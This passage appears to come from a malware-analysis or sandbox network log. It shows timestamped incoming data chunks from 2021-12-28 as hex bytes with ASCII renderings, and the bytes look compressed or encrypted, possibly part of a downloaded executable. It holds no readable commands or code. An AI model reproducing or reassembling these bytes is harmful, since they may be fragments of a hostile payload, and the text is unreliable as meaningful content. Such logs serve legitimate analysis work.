84 58 b8 da 54 b9 c9 fd 49 a8 a6 6c b7 d9 98 b9 42 Data Ascii: WX[L;(K\#"$$wUqn/:'nt/g+RFk'Wfp4%bkRr&F?-Q#XYcK/(rs:i_l*^2~:Aq\Ip##[;Q};>LKC)n8{,/\crW%~2,O+@>8^[>'XTIlB
2021-12-28 04:19:41 UTC	1537	IN	Data Raw: 8e a1 09 97 42 2a ed f0 1c 83 dd 8d 97 33 4e a6 73 ec c3 2b 36 fe 48 1f d4 df 1e 19 1b f0 13 30 bb 65 9e 68 44 25 25 17 97 cd 01 47 be 0e c5 c1 74 37 92 98 62 4e cf 7e 32 57 07 0c f3 8e a5 13 df dc 65 99 5b 65 18 f2 ba b6 e8 8d c8 cf 0e 5c 11 af b4 58 43 52 d2 59 90 f7 a9 0e 49 b6 9b 30 ec 0a 88 b6 8b 2e fd 47 99 20 95 5f bc 0a 40 90 6d fe f3 e7 5b 4b af dd 57 24 fc 6f dd 45 4c b7 0e d1 d7 ab 70 67 c1 df 51 ee 51 63 bb c3 4e 94 bb 6f 08 38 81 2f cd 95 89 6b 65 2c 29 9e 1c 0b b4 63 dc 42 8b 04 d1 15 17 ec 9e 09 25 67 67 7c 23 f9 67 73 f3 bd e6 48 e6 86 50 d6 ef 9e ae ad 25 a2 d8 ad 43 1c e8 9c d1 91 0f ab 26 ab 6d 7b 76 d0 ac 3a c4 84 40 2e 0a 55 63 e7 d9 26 bf ec 73 08 07 9d b8 f5 0a 4c ca bf b4 78 41 7c 59 e3 63 66 40 0a 92 92 53 59 31 45 14 64 83 8c ec Data Ascii: B*3Ns+6H0ehD%%Gt7bN~2We[e\XCRYI0.G _@m[KW$oELpgQQcNo8/ke,)cB%gg\|#gsHP%C&m{v:@.Uc&sLxA\|Ycf@SY1Ed
2021-12-28 04:19:41 UTC	1553	IN	Data Raw: b4 69 bc 02 62 e4 e6 1a 45 0a b8 52 cf 7d cf 0a 55 b5 29 ba 2d d7 a7 5c 21 8f 9b bc 73 b4 da 5b 3d 0a 48 90 e9 69 62 1a 11 71 39 d5 10 46 2e c1 b9 91 ab 06 31 35 19 6e 00 3e a7 fc c4 3a d7 24 35 9d 66 e9 4c d8 4e 25 14 83 a2 2e ae 2b 26 f2 fe b2 07 0c e8 28 d2 b8 b8 e2 31 51 5b c5 bc ab 88 cb 87 d5 17 18 de 8b a2 c4 53 eb cd 0a 0f 92 f0 91 ca 64 13 d5 84 e9 42 ac fe 4a b1 5e 3d 4f 53 1e 2a f8 f8 69 00 d5 e2 fc d4 28 43 0d 8a 2e e6 ee 00 7d 84 33 ec 99 65 af 99 91 82 dc 0a 72 a9 d0 14 93 f8 9e da 63 21 55 8f d8 2e 0e c9 cd 54 e6 6d ae 9d 27 42 83 c1 6b a4 61 be ba b8 b3 4b f6 6f a9 61 1a 0f 3e 78 2b 93 02 3d 66 61 5e 0d 9c 40 6c 5a 0e 3c 0a ca 36 32 1b 0d f0 35 8f 81 5c 3b fe e0 36 0f ad 45 48 f6 bd 91 03 9f d6 8c c4 4f d3 01 83 de 04 24 ff 36 f1 c8 79 0e Data Ascii: ibER}U)-\!s[=Hibq9F.15n>:$5fLN%.+&(1Q[SdBJ^=OS*i(C.}3erc!U.Tm'BkaKoa>x+=fa^@lZ<625\;6EHO$6y
2021-12-28 04:19:41 UTC	1569	IN	Data Raw: 70 20 99 1d ad 55 80 68 d0 b5 64 05 8e 7b 46 50 21 58 98 5a a5 1c 4f ac e3 32 a8 fb 3f 3f 01 b8 ea 52 80 af 98 4a ea e6 fe dd e7 3f 2d 24 f7 73 28 26 2f c3 57 cd 2f 8a 1c e7 a2 02 01 23 8b 4c 42 4f c4 c0 f3 fa 0e bc 5e ce a9 09 02 12 3c 20 14 07 1e 9e 10 db 53 f9 f7 13 c3 65 31 aa bc 4b 61 e0 03 3b 73 1c 09 e9 3a f9 57 ec 35 4c c5 8f 55 c9 25 af 22 07 be d3 84 82 e5 8f a3 20 2f 0b 77 94 45 eb f4 60 37 90 8d 37 b4 c3 51 dd 3d e3 9e f3 f5 3c bd 70 ac 45 76 6c 3c ce 55 99 17 e3 69 00 98 9f 42 25 21 59 41 f9 e4 e7 46 7c 49 b6 8c ae 5b 2c 41 17 ce a2 0b 45 5a f4 3d 02 ad 89 c3 e8 1c 6a f4 a3 ea 27 ae 54 cb ea 2c db c9 33 4f 1a d1 c4 e5 cc 28 64 80 5e d8 4d 8c 10 ca 25 32 d4 e6 64 4f 1f c3 f9 69 91 e2 88 e6 34 2c dc f1 e0 d1 69 af a5 a2 90 f4 6c 5e aa 34 24 3b Data Ascii: p Uhd{FP!XZO2??RJ?-$s(&/W/#LBO^< Se1Ka;s:W5LU%" /wE`77Q=<pEvl<UiB%!YAF\|I[,AEZ=j'T,3O(d^M%2dOi4,il^4$;
2021-12-28 04:19:41 UTC	1585	IN	Data Raw: bc cd 4f 64 d4 c2 9a 83 02 68 7b 1b 19 45 c9 48 2d e4 de de 4f 1e 56 c9 7f 98 8a b8 bc f5 07 59 7a 52 72 d1 07 d1 88 b0 81 ac 60 31 80 76 a9 31 69 99 95 dd ae a3 07 bb 23 f7 0f b5 64 fb b4 1c 17 0a e3 31 fb e3 cb 4b bb a8 63 1a f0 c4 22 66 5d b7 61 d1 6d a5 83 e4 2c 11 c4 97 65 94 2f ef 77 1e c3 10 e3 46 f6 20 57 39 b5 eb 86 9e 2c 4f 96 5c 7a 1b e7 60 06 70 24 eb e1 bf c7 a8 d2 e6 96 bb 47 29 ad 5f c5 65 17 ee 13 f7 23 8c ba a1 ff 0c ad 3c d6 a7 fe 88 8f b5 8b ca 60 ea 84 21 b3 4a 96 66 ee 23 80 36 f2 79 8f 49 d8 ee 54 63 34 a0 79 06 51 53 eb b9 de 0b 5b 22 4a b2 76 3e 14 48 d6 54 d8 46 e7 da e5 e7 ac f7 9c 97 c7 a4 39 12 cb 1a 65 04 10 14 d1 c7 6c d0 15 71 ab 7e f2 65 72 bf 86 b1 d4 3e e5 e2 4d c0 ca e0 62 cf d4 6b cb de 1e fb f1 28 8d 86 1d 6f 76 b3 b4 Data Ascii: Odh{EH-OVYzRr`1v1i#d1Kc"f]am,e/wF W9,O\z`p$G)_e#<`!Jf#6yITc4yQS["Jv>HTF9elq~er>Mbk(ov
2021-12-28 04:19:41 UTC	1601	IN	Data Raw: b8 8f 67 80 c5 c7 b0 45 24 74 0e a4 9b 06 e7 fc bd 70 4c f2 99 65 0f 87 49 d7 8a b5 a7 bf 1a 8d 86 e8 c9 ef a3 e6 ad 0e ad 8e d4 27 60 62 3a 1b 3e 97 8a 4e bc f7 92 70 9c 3a 8c b3 e6 51 71 af 72 d3 15 87 44 d0 9e f9 33 70 8a f8 18 c1 54 89 3d 12 ec 3a 08 71 89 46 2e 0b cc c6 0d 6d 48 54 71 bb 01 7c 23 6b 06 91 37 42 0c d7 bb b1 89 da 77 b3 7b ec 15 4c cd 38 fa bf 3a c9 b0 4d f4 58 a8 95 20 cf 4b 34 42 72 5f 20 d2 0a cd f9 f4 3f ae c0 fb e5 26 5f 1a d5 42 49 d8 22 5b ad 52 10 9d f6 d5 dc 00 44 d0 81 bc 1d bc c4 0b b1 7b ad 90 1b 8f 10 e9 d7 f4 79 ff 70 bb ae 38 0a 88 b7 48 e3 96 00 9a cd e3 ae ca 6b 8a 87 d4 68 e8 62 72 b7 7e 62 a0 56 68 b1 2a 3e dc 6c 1c e7 2d 20 9b f5 84 b8 48 c1 82 40 75 a7 dd 0c b5 b3 6e 15 26 a9 fa 25 a6 4d c7 ce f4 5a 51 73 32 4b b3 Data Ascii: gE$tpLeI'`b:>Np:QqrD3pT=:qF.mHTq\|#k7Bw{L8:MX K4Br_ ?&_BI"[RD{yp8Hkhbr~bVh*>l- H@un&%MZQs2K
2021-12-28 04:19:41 UTC	1617	IN	Data Raw: 65 23 7d 8b d8 d9 69 29 42 a5 32 24 fd b7 b0 e4 49 5d 4e fb 3f 7e 8a 1a cb ff 26 c2 8c 51 74 8b da 79 56 e4 77 94 43 41 3d 4a ff 96 9d b7 cf 45 d6 88 6b 48 3d 31 60 cc e7 02 ab 23 b4 51 23 2d 92 17 b5 b0 d4 8d d8 15 96 46 75 1f 42 b1 f5 27 7f 2d 59 54 fd ff 64 5f d9 43 c6 d9 62 4d 84 a8 a1 bc 11 27 4f f9 e4 0e 0d 55 d2 7f b8 ed 23 eb 11 13 d1 c2 b6 d4 1d dd e4 ca 6f 1f 9a da 06 c4 29 7c a6 70 37 eb c8 7d cf c8 39 2f 8a b0 83 f2 6d 1b 3c a0 0a 7e ed 36 dd c9 5d 87 d4 85 83 23 e5 a5 6a a6 b3 a9 88 60 ee 27 8e 74 a3 6e ae 72 1a 8b d8 1d 1b 78 06 77 b1 38 a6 85 f6 6b f2 a1 6e 3f 4d 1b 99 fe 4a 41 d0 34 40 6d e7 0e b0 d1 ec 2c 29 32 45 65 3f 28 77 30 93 44 53 e9 4b c4 a7 29 21 e6 86 d8 36 c8 6b 9d 54 45 ce e4 f9 2e d3 98 73 d9 3b 79 15 c3 a4 65 34 49 23 b0 78 Data Ascii: e#}i)B2$I]N?~&QtyVwCA=JEkH=1`#Q#-FuB'-YTd_CbM'OU#o)\|p7}9/m<~6]#j`'tnrxw8kn?MJA4@m,)2Ee?(w0DSK)!6kTE.s;ye4I#x
2021-12-28 04:19:41 UTC	1633	IN	Data Raw: a8 ba e8 5d 71 dd 97 93 14 07 28 51 81 69 3e 30 3b 84 72 b6 be f7 16 92 7a a6 6d 9a d1 4c 13 cc e6 ff bb 0a 5c 65 c6 16 ef 24 e1 5a 4b b9 34 96 95 f0 7f e4 ba 74 92 a7 bc f3 e6 f9 c9 6e a4 8e 5a 3b cf 05 36 c0 da 5f ea 52 05 c5 a6 2c 39 c7 29 14 82 0e 5b 59 1f 00 10 0d 6f 25 11 99 2a 6d b4 37 11 e8 29 31 ff 23 82 5d e4 a5 0c 39 79 1c 22 7b 75 6c 99 1f 64 15 aa b3 20 23 33 18 28 bb 90 c6 ef 2a aa 4c a0 9e 40 f5 29 31 72 61 95 fa 4f 82 42 d4 59 83 b1 39 db 96 63 72 ca ec 18 20 b2 47 22 2c 73 76 cc 7e 22 93 6a b0 c5 11 4c 1d 5b 71 96 90 ad a4 22 f6 64 06 a6 a9 68 dd 76 f8 1f 12 57 7d a1 25 0c 76 3f 62 2c e7 63 57 d2 37 ef ca c1 f0 62 17 64 fe ef a1 fe 94 de 6d 52 4f 2f 8d 52 ac ce 29 bd 1f ec ce c1 66 df bc 77 31 ed 39 f2 f3 fb d2 c8 d2 a4 2b dd da 08 56 da Data Ascii: ]q(Qi>0;rzmL\e$ZK4tnZ;6_R,9)[Yo%m7)1#]9y"{uld #3(L@)1raOBY9cr G",sv~"jL[q"dhvW}%v?b,cW7bdmRO/R)fw19+V
2021-12-28 04:19:41 UTC	1649	IN	Data Raw: f9 09 59 6b a2 22 57 96 6b 11 8d 5e 46 8b f7 ae e0 81 27 ea 29 d9 21 0d 21 9f 00 8d 1e 39 6f 55 b1 ad 9d ae d9 6a 65 d8 b2 6a 0d 11 76 15 2e 21 6e 35 44 bf 1f f9 06 e5 d8 b6 94 62 ad e3 13 49 d9 f4 11 40 f5 dc ad 47 5b 1f e5 53 63 c5 45 f5 1c 90 25 b5 ad 64 bc d1 f4 be 1e c9 e9 87 0d 89 24 29 9c 38 ab e0 4f 03 4a 00 17 60 83 e9 15 3b 91 9f e3 24 02 35 67 a1 b5 2e 2e 2d 95 b6 17 66 7e 69 98 4e f5 60 66 ca 14 f1 03 d1 98 6d ee 95 32 31 8b aa 72 cf 00 7b b1 9f 0a 20 5c 01 23 ea 4e 85 27 cd 2b 40 9f 13 37 ea c7 6a 09 c5 cd d5 d9 45 16 2e 08 53 c0 95 d5 49 2c df e4 1a 0e e0 6a c3 2f 83 08 48 2d 2a 88 42 1c 39 a4 f1 dc fc 39 22 7f eb b1 e1 38 0e a6 4d f0 1a 6b 70 43 6a 50 21 75 06 b1 16 d1 2a 94 7d 02 18 61 b4 a6 52 d0 7a 01 27 ea 2a 68 da c8 a0 e0 a7 59 7a c5 Data Ascii: Yk"Wk^F')!!9oUjejv.!n5DbI@G[ScE%d$)8OJ`;$5g..-f~iN`fm21r{ \#N'+@7jE.SI,j/H-B99"8MkpCjP!u}aRz'*hYz
2021-12-28 04:19:41 UTC	1665	IN	Data Raw: 6f 32 5c c9 c6 5c 5e 5a 54 90 51 e2 67 f9 33 bf 10 32 2a 0c a4 14 d0 52 5c 0c 03 db e1 e8 03 7c 8c 61 3f 31 40 5c e9 83 f4 73 85 58 b6 cc 3e 25 4e 3a de ca 63 3c 89 66 59 6b 78 d9 3e bd e1 d0 00 3d 50 63 c7 c8 27 d9 a3 27 bb 25 8d d8 46 81 c9 02 0b 30 b7 8a 3e 8c 82 5a 18 1d a2 29 d0 f0 fc 5c 5b 3e a0 0f 92 81 8c 13 18 6f 8d e3 e8 67 b3 b2 ef 3d 8f 83 60 6f 21 87 d5 63 19 d4 40 82 32 2c 3d 71 ca 4e 83 1a ef f4 b9 13 a7 ce c9 ab 0b 85 ea ec ed ff dc d7 92 b0 7f 27 54 84 23 25 61 98 a0 2a 6a 6d b9 d1 9f 24 99 9c 21 a8 7b cf 37 b1 18 15 c0 da b8 f1 fa 76 4a f0 78 3a 0c a7 05 87 93 79 d0 73 1e 1f 2f aa 0a 87 0d 2d e8 1c 48 d2 86 78 8d 8a 70 9a 5f 54 87 e8 9a bb c8 4a 54 09 57 e9 db dc 34 f3 4a 66 5b a2 94 42 97 82 4c 51 4a 28 a6 b6 a9 45 5d 64 f8 ef 4e de 8b Data Ascii: o2\\^ZTQg32R\\|a?1@\sX>%N:c<fYkx>=Pc''%F0>Z)\[>og=`o!c@2,=qN'T#%ajm$!{7vJx:ys/-Hxp_TJTW4Jf[BLQJ(E]dN
2021-12-28 04:19:41 UTC	1681	IN	Data Raw: a5 5f 22 51 b3 db cc b9 bb f8 df dd 93 ac 0b 6c 47 17 0b 34 e6 99 8f a3 31 8d 05 5d 9c 22 4e 5b 87 3a 8f 61 9a 01 c7 e4 c1 70 2e 10 ec 34 23 63 e8 d7 bb 7b 23 59 ac 44 6f 82 31 1a 60 4a 69 66 5c 48 a9 3b 11 d5 e4 93 23 23 a3 f5 a8 c9 60 92 3c 88 8e 8b a7 3c 53 ef 90 e7 b5 d9 b0 7d 33 65 f4 f4 3e da 01 b7 ab 7f 1d 1e 81 ae 56 79 63 c0 d9 87 3c b2 d4 74 c3 5d 7d 0d a0 e9 6b 94 6b a0 8f e4 5c 79 f5 ca 1f 50 17 d1 72 f7 45 9c 49 91 d5 3b f5 6f f2 9d 8f 94 cc 9c 5e d2 c2 d2 2e ff a3 ee fc 24 25 b2 27 93 36 6f f1 16 f4 e7 d7 86 11 b2 51 01 cb 8b 50 23 04 73 2a 17 3e a2 a3 4d 44 a1 43 cb 26 19 22 13 d2 a2 9c af 49 70 37 a9 b9 e3 98 e9 be 2e d1 d2 4a 9c 5c 67 4f 61 d5 fc 4b 55 c3 f9 4b b6 0c fd 0c e2 39 83 95 e0 90 92 6d 02 44 6e f9 09 ba 64 c5 d1 42 fb b3 de 12 Data Ascii: _"QlG41]"N[:ap.4#c{#YDo1`Jif\H;##`<<S}3e>Vyc<t]}kk\yPrEI;o^.$%'6oQP#s*>MDC&"Ip7.J\gOaKUK9mDndB
2021-12-28 04:19:41 UTC	1697	IN	Data Raw: 87 d6 cd 45 f3 56 40 03 4f 78 66 ad d7 09 b6 4c b7 dc c1 56 83 26 6b f6 52 b3 2e b6 da 5a 92 66 d3 d9 86 bb 3f 5b 17 72 9c eb e3 71 2a bc 8f 02 26 cf 26 7c cb f5 52 e7 2f 64 ef 49 cf 4c 7c 52 17 09 1f cb 0c ff df f5 a7 2f 7c 25 03 72 85 90 11 0b 8f 26 0c 16 33 81 c7 50 84 25 85 d8 2d f4 3b ec d8 01 65 dc f2 63 38 f3 d6 d0 6d 05 ab 29 ee 2e 61 4b 05 3b 5a ee d5 6e ee 5a 67 ca 23 10 5f 0a 7d 66 87 ad e8 a4 d0 dd 18 0f e8 5b 37 44 0b 5c 97 57 8e 09 60 ad 7c 68 96 23 78 db 59 d4 80 87 9f 26 f8 be 38 f6 68 08 07 09 74 6c a1 87 b0 70 5f b0 ac 5f db 16 36 04 09 06 f7 79 4c 32 d1 5f e4 0c 74 79 d2 0f 02 e8 34 7f e2 f6 cd aa 39 14 39 ee b6 53 08 f0 f2 1a cb de e0 ca 3f 11 1b ad 19 d5 65 01 4e b2 c2 5e 4a bf 07 55 84 ad ce 9c dd 7d 13 6c 6f 4b 19 e1 3c 7d 86 18 eb Data Ascii: EV@OxfLV&kR.Zf?[rq*&&\|R/dIL\|R/\|%r&3P%-;ec8m).aK;ZnZg#_}f[7D\W`\|h#xY&8htlp__6yL2_ty499S?eN^JU}loK<}
2021-12-28 04:19:41 UTC	1713	IN	Data Raw: 78 52 14 b3 c9 70 cf ab 0e 34 0d ab f3 4e 8e a1 f6 03 28 a3 5e a8 31 f7 79 53 a9 9a b3 19 bc 00 5b 32 d6 9c 43 47 c3 6d d3 63 dd b4 33 19 a9 2c 8a d8 c1 0f 94 31 8b b8 5d a6 ac 49 c9 c2 8a 42 3c 87 99 8e 86 6b 88 f1 38 31 b1 8d 00 5c c9 4c 5e f7 1d 91 8d d8 e9 30 1a 5d ab d2 f3 9e bc 0d 78 92 7c 0a 7d f8 17 f8 54 66 b0 c4 59 5c 66 8a 47 a1 13 6b dd 39 c4 6b 5f 55 29 de a1 69 94 df 22 4d 1c 34 82 b4 c5 bc d5 5b 08 1b 4f b8 fd 19 fd 8d 31 b5 7d 5b 76 57 ba a9 75 77 45 0e e2 06 e3 c5 5b 75 0e 70 ab ad 47 d5 da 02 3d 27 a2 eb de 13 20 da e4 ec 50 07 90 4f 5b 32 34 e2 11 f7 28 7a 94 05 60 ec 86 c6 13 6a aa b9 09 bc 67 90 c6 4f 8f 5d fb 36 d7 50 d4 d9 f7 29 df 29 3e e4 e3 22 1b 58 e6 0f 2e 35 91 be e9 a7 b0 c1 f8 e9 16 9f cc 49 0c ca 2a 0b 28 7a 49 d6 73 de 01 Data Ascii: xRp4N(^1yS[2CGmc3,1]IB<k81\L^0]x\|}TfY\fGk9k_U)i"M4[O1}[vWuwE[upG=' PO[24(z`jgO]6P))>"X.5I*(zIs
2021-12-28 04:19:41 UTC	1729	IN	Data Raw: d9 f4 aa 3f 9f 84 c0 75 35 c8 9d 27 3c 83 5f dd d8 bc 57 04 a5 17 f7 35 db 4d e2 02 87 59 3e a9 16 07 5f a7 8e ee 45 ed 99 f0 07 0a a0 f6 31 67 ce 48 d4 56 9c a5 73 b1 f0 fd 4f 8a 06 08 d3 9d 04 d3 a9 6e 0f 66 b0 b5 02 a0 51 b5 09 cc 8e de 9c 8d 0e 50 15 69 80 22 14 16 d0 16 4a f8 c1 16 4e 44 89 24 24 6c ea e2 68 2e 80 38 5f a5 9e d4 e7 6d d0 ee 16 8c 3d 03 36 6e d8 cc 90 b8 f4 3d 0a c0 42 2d 66 5f 6a 3e 75 9a eb f9 c6 6b 93 34 0b 5a fa 15 9e c4 c3 68 70 64 f6 3d 8a 44 8c b0 5a 27 6e 5d 97 d3 e6 d5 7b 38 42 de 38 49 5f 04 9b f8 25 be 37 81 24 7c 28 3c 44 f9 61 bf 17 6a 67 6d 66 4a e6 7c 09 8a 5e aa 26 3e 38 e2 93 2e 35 26 2f 5b 96 67 c9 49 d6 63 2f 85 35 07 af 92 d3 55 1e 03 e8 86 5c 10 1d 21 e3 66 04 6f 52 61 b0 58 84 47 a9 e6 76 cf b4 4f 34 a1 ab 14 40 Data Ascii: ?u5'<_W5MY>_E1gHVsOnfQPi"JND$$lh.8_m=6n=B-f_j>uk4Zhpd=DZ'n]{8B8I_%7$\|(<DajgmfJ\|^&>8.5&/[gIc/5U\!foRaXGvO4@
2021-12-28 04:19:41 UTC	1745	IN	Data Raw: 8e d7 b5 75 f1 c2 9b 4b c4 ec c8 c7 d5 0c 65 f4 30 6e ba 98 56 af 93 01 3a e6 b2 d4 22 b9 03 17 62 e3 19 1e 92 7d ec ac 11 65 fe b8 f1 ce b5 a9 b4 15 36 35 06 4c 62 dd a6 b8 26 d7 27 fb d3 c5 e3 b4 fd 90 f3 00 0a e0 97 9f 31 e0 5d 50 8c ce c1 ba 77 6b 75 0f 57 a6 09 4c 77 88 aa b7 44 18 f7 c0 46 3e c1 0d 28 6c c4 c8 a6 e8 15 0c b2 73 2f 76 1a 79 8a 12 5d bc ee 3b 57 47 e6 cc da 76 8a 48 c4 52 16 6f 8e 99 f0 6a 68 67 d5 e9 c5 39 77 d9 bc 65 b1 2d 11 6f 6b 27 6d 9f 95 5c f7 1e 33 57 4e d5 bf 2d 49 44 78 68 04 d1 6e 39 11 21 89 52 ef 31 68 57 3b 1a 56 77 76 52 c9 26 3f bc 9b 03 3b 87 ea a7 c6 b1 f4 d8 e5 9a d5 6c 05 d9 a3 df fd 4c 99 29 6d 16 55 91 c6 64 77 af 86 02 8d 12 4f f1 cd be 38 d0 8a 51 a1 a7 f9 19 8c 76 ab 71 cb 8b a3 39 f7 1c a1 ef 8d 97 88 d0 6d Data Ascii: uKe0nV:"b}e65Lb&'1]PwkuWLwDF>(ls/vy];WGvHRojhg9we-ok'm\3WN-IDxhn9!R1hW;VwvR&?;lL)mUdwO8Qvq9m
2021-12-28 04:19:41 UTC	1761	IN	Data Raw: 05 85 6e f3 ef d2 5f d2 2c ee 99 d2 00 20 87 78 ff a9 e8 60 6f 83 7a 7b a7 2f 7f 93 48 25 cd aa 1c 9c e1 eb af 1d 97 2e 4e 57 97 cb 1b cf 17 28 49 7e d6 64 7c 87 04 6e 15 ce b6 6e 59 b2 9b bc 41 91 bf 0d ad 50 22 09 26 71 46 ae 89 28 eb 24 58 fb 70 bc e4 6c d1 41 8c 75 3a 0b b4 11 09 e4 83 30 97 38 cd cf 1b c1 b7 2e 25 d7 84 15 32 d7 b5 b3 a7 34 75 71 3f 20 c4 83 05 37 fe 6d 54 c1 2f 87 42 ec b0 38 f9 8e 75 99 5b dd fa 54 e1 db a3 a9 78 45 7a d0 3f 3e 97 d3 3a eb e1 17 07 03 d4 f6 d0 01 54 4b 16 9d 62 94 76 33 5a ef af e7 97 fc 06 73 76 8e 92 d3 1a 9d 5a 60 85 0f 80 5e 9c 03 c8 02 33 18 8b 36 48 d8 a9 8e 1a 81 bc 0a 64 3c f8 be b2 fc 81 0f 7c 7b 8e f4 80 20 53 e7 7a 33 88 22 27 8e 2f 8a 90 e4 bd 1f 8d 08 0f 97 0e bf 21 d2 e3 d7 f9 30 37 94 07 a4 09 44 9c Data Ascii: n_, x`oz{/H%.NW(I~d\|nnYAP"&qF($XplAu:08.%24uq? 7mT/B8u[TxEz?>:TKbv3ZsvZ`^36Hd<\|{ Sz3"'/!07D
2021-12-28 04:19:41 UTC	1777	IN	Data Raw: 66 ce 8d 98 e1 04 01 be 4a cb b7 a3 00 35 9a 90 de 75 56 5a 44 cd 2d 28 6c a7 26 0d 33 4d 95 50 5f bd d2 0a 2d c2 0e 3b 7e 3b fb e0 ec ee 44 8b 63 f8 60 25 0e 19 b2 3a f9 a6 9e 28 3e 1e c9 5e a3 c7 7e 32 f4 bd 28 d3 3e 8f 3f 13 b7 52 4f d3 97 74 b8 19 94 a2 d6 4f 7d 96 ba 06 c9 13 2e 6a 6e d9 33 32 22 50 5f 13 1f 32 cc bb 61 50 4f 4e de fd 89 17 54 4e 65 fd 2f 9d 29 f8 a3 cb c3 7d 24 48 eb d2 33 8a c6 48 ab 8f 9d b6 93 71 ac 74 1b 8b ea 74 22 95 de 37 8b 25 cd 71 38 36 ca 65 dd 2e 42 50 94 a5 1d 20 a5 a3 f1 d3 1f ab 41 7d 98 90 03 41 22 db cb 4c 53 92 53 5e 18 f4 90 71 78 d6 5e 5c 1b 6f 1b 61 a3 78 25 93 77 a2 d3 e7 dc c2 24 06 91 9b 47 14 5c 16 e2 4c 9d c8 a3 82 95 ea bb 99 9f e2 e4 d7 ff 33 db 20 3f 7d fe f0 73 93 42 ec 55 dc c1 e1 bb 1f 96 4b 63 6e 30 Data Ascii: fJ5uVZD-(l&3MP_-;~;Dc`%:(>^~2(>?ROtO}.jn32"P_2aPONTNe/)}$H3Hqtt"7%q86e.BP A}A"LSS^qx^\oax%w$G\L3 ?}sBUKcn0
2021-12-28 04:19:41 UTC	1793	IN	Data Raw: 93 d1 c1 7e 3e 7a c9 e8 05 50 46 5b c2 fc e4 a0 0a 51 77 eb 44 31 64 19 dd 51 9c ae f3 15 10 0b bb 8b ab d1 6b cc 17 d3 0a a8 76 e7 0d 56 32 49 9c 97 77 0a 10 93 09 11 e7 27 f2 4c 3b 9a af 10 4d ee 89 92 36 fd 6a 72 9b 0a 6f 66 b2 bc 90 e1 22 b3 80 01 ba c0 7b c2 49 c6 98 e3 ef 21 3b 3c b8 e7 22 96 1a 06 d4 39 9e d7 60 68 99 ba b9 df 53 f1 de 03 76 ff 4d a2 2f ec 60 3c 4e a2 48 2b 55 be 9d a1 54 8a fd fd cb 62 51 56 c1 de a0 69 b1 0e 51 67 9e 9d 60 c7 46 f3 83 d4 13 db c3 42 f5 ba 0d ff 72 95 6d 4c d2 5e bf 07 63 26 2c f6 23 de c4 dc 01 d8 6a 3c 2c d4 44 c7 6c 82 5b a1 db db 0a e8 01 c6 af 83 2d 87 f0 b2 0e 92 01 de cf 65 18 7d 29 9c fa 9e 1e 0f 29 c6 5e f5 d7 60 29 93 a2 27 38 be 79 aa 01 0e 88 70 33 88 81 17 9d 6b ce 49 96 ec 17 bf fa 69 aa 6b 0a 27 39 Data Ascii: ~>zPF[QwD1dQkvV2Iw'L;M6jrof"{I!;<"9`hSvM/`<NH+UTbQViQg`FBrmL^c&,#j<,Dl[-e}))^`)'8yp3kIik'9
2021-12-28 04:19:41 UTC	1809	IN	Data Raw: 0f 4f 3d 30 bd 13 23 54 e9 72 84 73 2f ac 93 8c 29 36 8b 0a b7 ef de 9c c4 ef b4 8b 6d c0 aa 25 43 aa aa bc 34 63 79 c6 76 7c ac e6 e1 71 01 77 df 65 75 0f ab 18 f7 a9 e7 62 d0 53 16 3a 46 79 8e 1a a2 93 16 58 a3 9e d7 13 f2 86 ee 1a e1 33 81 69 b7 81 d9 b6 3c 94 a0 c2 04 a3 3b aa 3d 4b ca 51 c0 56 4a 13 bc ec aa 7c 27 ca bd 5a a2 c5 28 78 ea 88 8f f8 56 ca 91 3b 67 02 ca 53 ad a0 b4 a0 5a ee 46 5c fe c7 d5 7e cf 94 e1 33 f6 fa 12 b2 d5 ac 83 42 0e 5e d5 83 53 dd 08 ca 3d 42 48 e4 14 8a b6 ba 77 ce c6 2c ed c2 b0 c1 12 56 d3 c3 f0 d7 c3 10 16 07 18 69 49 79 5e c1 b7 62 ab 54 d2 65 af 96 07 60 17 37 b7 ed 36 bf 3a 6e 5e 85 09 3b 54 4d e0 25 03 c0 2e 62 db 1f 97 21 8b e3 c3 f4 37 e1 11 2c 62 02 97 38 96 97 8a c3 20 b4 86 9e bc 52 25 38 a6 f0 4e a2 1e 5f ac Data Ascii: O=0#Trs/)6m%C4cyv\|qweubS:FyX3i<;=KQVJ\|'Z(xV;gSZF\~3B^S=BHw,ViIy^bTe`76:n^;TM%.b!7,b8 R%8N_
2021-12-28 04:19:41 UTC	1825	IN	Data Raw: 4d 5a 2d 06 1a 9f 26 0b 68 42 2f 07 6a 57 08 11 1e ff 05 6b da 37 a4 9f 46 7b 22 78 6a a8 9f 15 53 6f 98 9b d2 d8 5e f7 bd b0 2e 4f 40 75 ff 60 32 ae 88 a4 e3 64 03 99 39 c0 1f 4f a2 4a 40 b4 08 8c 1d 5b 8c 8c 55 35 bd 35 08 3d 61 ff af cc 7e 22 50 4b 2e 1e 1e bf 60 e7 b6 0a 15 80 d7 cc 7d 7a a0 82 b6 c0 eb d9 f3 38 49 11 d7 9d 84 31 5a 2b e4 79 dc 1f 6c b1 60 16 37 13 91 1f 08 c3 93 dd 80 68 af ed ab 19 6d 8e f9 0a 43 5c 0e b6 0c c6 4f d0 04 2f 6f a0 4a ba a6 5d 5d 40 14 f5 2d f9 97 8d b4 50 b0 6c 78 25 c7 da c3 7a 61 a4 bf 18 25 d4 87 54 36 bc 2e 7b 95 8c 0f e5 2e 75 63 c6 f4 c4 5d a5 4c a1 47 70 a1 e2 3f 90 4c a1 3e ae 32 48 46 e1 25 f4 3e 9b aa 08 24 09 b4 ca 3e 15 3f 3e 4a 23 8c 38 5a 10 ea f0 e3 06 b1 0a 52 48 7f cb 37 d2 54 61 78 09 4f 65 5b 5e 44 Data Ascii: MZ-&hB/jWk7F{"xjSo^.O@u`2d9OJ@[U55=a~"PK.`}z8I1Z+yl`7hmC\O/oJ]]@-Plx%za%T6.{.uc]LGp?L>2HF%>$>?>J#8ZRH7TaxOe[^D
